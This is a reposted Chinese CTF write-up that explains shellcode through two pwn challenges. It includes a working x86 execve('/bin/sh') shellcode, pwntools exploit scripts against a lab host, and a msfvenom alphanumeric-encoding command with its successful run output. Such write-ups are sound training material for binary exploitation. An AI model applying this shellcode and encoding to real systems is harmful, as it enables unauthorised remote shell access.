原文链接:https://hvnt3r.top/2018/10/Shell-code的编写和利用/
在渗透测试和漏洞利用中,Shellcode
是一个十分重要的部分,在二进制的安全研究中,Shellcode
也充当着十分重要的角色,本文会记录我学习Shellcode
的编写和利用原理。
首先拿一道十分简单的PWN题来演示程序是如何执行Shellcode
的
文件下载
首先,这是一个32
位的程序,我把它放到了32
位的kali
虚拟机中
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
程序开启了NX
和CANARY
,实际上并没有检查此程序开启的安全措施的必要,因为分析IDA
中的伪C代码可知,此程序会将用户输入的数据当作汇编代码进行执行,代码如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ST2C_4
void *v4; // ST30_4
int v5; // ST38_4
char s; // [esp+3Ch] [ebp-84h]
unsigned int v8; // [esp+BCh] [ebp-4h]
v8 = __readgsdword(0x14u);
v3 = open("/home/challenge/flag", 0);
setbuf(_bss_start, 0);
setbuf(stdout, 0);
alarm(0x1Eu);
v4 = mmap(0, 0x80u, 7, 34, -1, 0);
memset(v4, 195, 0x7Fu);
memset(&s, 0, 0x7Fu);
puts("OpenCTF tyro shellcode challenge.\n");
puts("Write me some shellcode that reads from the file_descriptor");
puts("I supply and writes it to the buffer that I supply");
printf("%d ... 0x%08x\n", v3, &s);
read(0, v4, 0x20u);
v5 = ((int (*)(void))v4)();
puts(&s);
return v5;
}
通过分析汇编代码可知程序会使用call eax
的方式来运行用户的输入
.text:08048721 mov dword ptr [esp], offset format ; "%d ... 0x%08x\n"
.text:08048728 call _printf
.text:0804872D mov dword ptr [esp+8], 20h ; nbytes
.text:08048735 mov eax, [esp+30h]
.text:08048739 mov [esp+4], eax ; buf
.text:0804873D mov dword ptr [esp], 0 ; fd
.text:08048744 call _read
.text:08048749 mov eax, [esp+30h]
.text:0804874D mov [esp+34h], eax
.text:08048751 mov eax, [esp+34h]
.text:08048755 call eax <================== Here
.text:08048757 mov [esp+38h], eax
.text:0804875B lea eax, [esp+0C0h+s]
.text:0804875F mov [esp], eax ; s
因此我们可以吧要执行的汇编代码通过pwntools
来输入到此程序中达到执行的目的,这里我们要输入的一些能达到某种执行效果的汇编代码即为shellcode
,这里有一个网站,上面有很多经典又实用的shellcode
,shell-storm.org,网站的维护者同时是ROPgadget
的作者,话不多说,膜就完事了。
Jonathan Salwan
本程序为用户的输入开启了read(0, v4, 0x20u);
即32个字节的空间,因此我们可以在这个网站上找到一个长度满足要求的shellcode以填充我们的输入:
#include
#include
unsigned char shellcode[] = \
"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
"\x80";
main ()
{
// When contains null bytes, printf will show a wrong shellcode length.
printf("Shellcode Length: %d\n", strlen(shellcode));
// Pollutes all registers ensuring that the shellcode runs in any circumstance.
__asm__ ("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp\n\t"
// Calling the shellcode
"call shellcode");
}
shellcode
为
\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
我们可以直接使用pwntools
攻击一下此程序,脚本如下:
from pwn import *
io=remote('192.168.229.140',10001)
shellcode='\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
print io.recv()
io.send(shellcode)
io.interactive()
运行程序即可执行/bin/sh
进行远程交互,为了搞清楚这一段shellcode做了什么,我们需要将这一段shell code转换为汇编代码,将shellcode转换为汇编的方式有很多种,我这里使用的方法是用Ollydbg转换,首先,随便用OD打开一个二进制文件,随后复制shellcode的内容,再随意选中OD中汇编框中长度足够的区域,点击右键,选择二进制粘贴,把shellcode粘贴到文件中:
此时OD会自动把shellcode对应的数据转化为汇编代码:
31C9 xor ecx,ecx
F7E1 mul ecx
B0 0B mov al,0xB
51 push ecx
68 2F2F7368 push 0x68732F2F
68 2F62696E push 0x6E69622F
89E3 mov ebx,esp
CD 80 int 0x80
可见,这一段shell code
调用了系统软中断,相关的详细信息在我之前的博文中有介绍:通过int 80h执行系统命令,这段shellcode
就是设置好了调用系统函数的参数并调用的。
当然百分之99的情况下程序并不会像上面那个例子直接执行用户所给的代码,在BSides San Francisco CTF 2017
的b_64_b_tuff
中
文件下载
用IDA查看主要的逻辑:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s; // ST2C_4
void *v5; // [esp+0h] [ebp-18h]
void *buf; // [esp+4h] [ebp-14h]
ssize_t v7; // [esp+8h] [ebp-10h]
alarm(0xAu);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
v5 = mmap((void *)0x41410000, 0x1558u, 7, 34, 0, 0);
printf("Address of buffer start: %p\n", v5);
buf = malloc(0x1000u);
v7 = read(0, buf, 0x1000u);
if ( v7 < 0 )
{
puts("Error reading!");
exit(1);
}
printf("Read %zd bytes!\n", v7);
s = (char *)base64_encode((int)buf, v7, v5);
puts(s);
((void (*)(void))v5)();
return 0;
}
跟上一个例子类似,程序会将用户输入的代码执行,不过区别在于程序会先把用户输入的数据进行base64
解码,那么问题来了,进行base64
加密的时候只支持英文字母的大小写
和+/
,但是在shellcode
中有很多不可打印的字符,因此我们需要对shellcode
进行一定的处理使得shellcode
被base64
解码后能正常的执行。
是时候祭出大杀器msfvenom
了,msfvenom
是kali下的一款神器,有很多好玩有趣的功能,感兴趣可以自己谷歌一下玩法,但是msfvenom
只支持stdin的方式传参,因此我们用python
加上管道操作向msfvenom
传参,我们选用x86/alpha_mixed
这个过滤器来生成只有大小写字母的shellcode
,因为程序中是使用call eax
调用shellcode
的,因此我们需要将BufferRegister
设置为EAX
:
.text:08048891 call _puts
.text:08048896 add esp, 10h
.text:08048899 mov eax, [ebp+var_18]
.text:0804889C call eax <=========== call shellcode
.text:0804889E mov eax, 0
.text:080488A3 mov ecx, [ebp+var_4]
.text:080488A6 leave
生成payload
:
⚡ root@kali python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 96 (iteration=0)
x86/alpha_mixed chosen with final size 96
Payload size: 96 bytes
Saved as: payload
⚡ root@kali l
总用量 24K
drwxr-xr-x 2 root root 4.0K 10月 30 06:45 .
drwxr-xr-x 8 root root 4.0K 10月 18 03:25 ..
-rwxr-xr-x 1 root root 7.7K 1月 30 2018 b-64-b-tuff
-rw-r--r-- 1 root root 502 2月 1 2018 exp.py
-rw-r--r-- 1 root root 96 10月 30 06:45 payload
⚡ root@kali cat payload
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI01o9ygYqH0fk61CXVOtoD3rHaxto52pibNMYYsjmK0AA#
得到改造过的shellcode
之后我们就可以通过脚本向程序传递shellcode
了:
from pwn import *
from base64 import *
io=remote('192.168.229.140',10001)
context(os='linux', arch='i386', log_level='debug')
shellcode=b64decode('PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI01o9ygYqH0fk61CXVOtoD3rHaxto52pibNMYYsjmK0AA')
print io.recv()
io.sendline(shellcode)
io.interactive()
运行结果:
⚡ root@kali python 1.py
[+] Opening connection to 192.168.229.140 on port 10001: Done
[DEBUG] Received 0x24 bytes:
'Address of buffer start: 0x41410000\n'
Address of buffer start: 0x41410000
[DEBUG] Sent 0x49 bytes:
00000000 3d 82 08 20 82 08 20 82 08 20 82 08 20 8e d0 66 │=·· │·· ·│· ··│ ··f│
00000010 30 17 3f 40 34 02 40 00 43 60 01 d8 10 74 04 10 │0·?@│4·@·│C`··│·t··│
00000020 01 5c ff 00 06 e2 48 d3 5a 3d ca 06 2a 1f 47 e4 │·\··│··H·│Z=··│*·G·│
00000030 eb 50 97 54 eb 68 0f 7a c7 6b 1b 68 e7 6a 62 6c │·P·T│·h·z│·k·h│·jbl│
00000040 d3 18 62 c8 e6 2b 40 00 0a │··b·│·+@·│·│
00000049
[*] Switching to interactive mode
[DEBUG] Received 0x5e bytes:
00000000 3d 82 5e 48 20 82 5e 48 20 82 5e 48 20 82 5e 48 │=·^H│ ·^H│ ·^H│ ·^H│
00000010 20 8e d0 66 30 5e 57 3f 40 34 5e 42 40 5e 40 43 │ ··f│0^W?│@4^B│@^@C│
00000020 60 5e 41 d8 5e 50 74 5e 44 5e 50 5e 41 5c ff 5e │`^A·│^Pt^│D^P^│A\·^│
00000030 40 5e 46 e2 48 d3 5a 3d ca 5e 46 2a 5e 5f 47 e4 │@^F·│H·Z=│·^F*│^_G·│
00000040 eb 50 97 54 eb 68 5e 4f 7a c7 6b 5e 5b 68 e7 6a │·P·T│·h^O│z·k^│[h·j│
00000050 62 6c d3 5e 58 62 c8 e6 2b 40 5e 40 5e 4a │bl·^│Xb··│+@^@│^J│
0000005e
=\x82^H \x82^H \x82^H \x82^H \x8e�f0^W?@4^B@^@C`^A�^Pt^D^P^A\\xff^@^F�H�Z=�^F*^_G��P\x97T�h^Oz�k^[h�j[DEBUG] Received 0x74 bytes:
'Read 73 bytes!\n'
'PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI01o9ygYqH0fk61CXVOtoD3rHaxto52pibNMYYsjmK0AACg==\n'
Read 73 bytes!
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI01o9ygYqH0fk61CXVOtoD3rHaxto52pibNMYYsjmK0AACg==
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x4 bytes:
'ls^J'
ls^J[DEBUG] Received 0x14 bytes:
'b-64-b-tuff exp.py\n'
b-64-b-tuff exp.py
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to 192.168.229.140 port 10001